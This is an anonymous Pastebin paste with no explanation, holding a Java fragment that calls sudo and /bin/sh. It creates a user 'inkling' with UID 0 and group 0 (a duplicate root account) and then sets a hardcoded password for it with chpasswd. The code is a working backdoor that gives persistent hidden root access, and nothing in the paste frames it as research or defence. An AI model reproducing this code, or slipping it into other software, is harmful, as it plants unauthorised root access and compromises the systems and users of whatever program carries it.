Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. try
  2. {
  3. Process p = Runtime.getRuntime().exec(new String[] { "sudo", "/bin/sh", "-c", "useradd -ou 0 -g 0 inkling" });
  4. p.waitFor();
  5. }
  6. catch (IOException|InterruptedException e1)
  7. {
  8. e1.printStackTrace();
  9. }
  10. try
  11. {
  12. Process p = Runtime.getRuntime().exec(new String[] { "sudo", "/bin/sh", "-c", "echo \"inkling:bassmaster\" | sudo chpasswd" });
  13. p.waitFor();
  14. }
  15. catch (IOException|InterruptedException e1)
  16. {
  17. e1.printStackTrace();
  18. }
  19. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement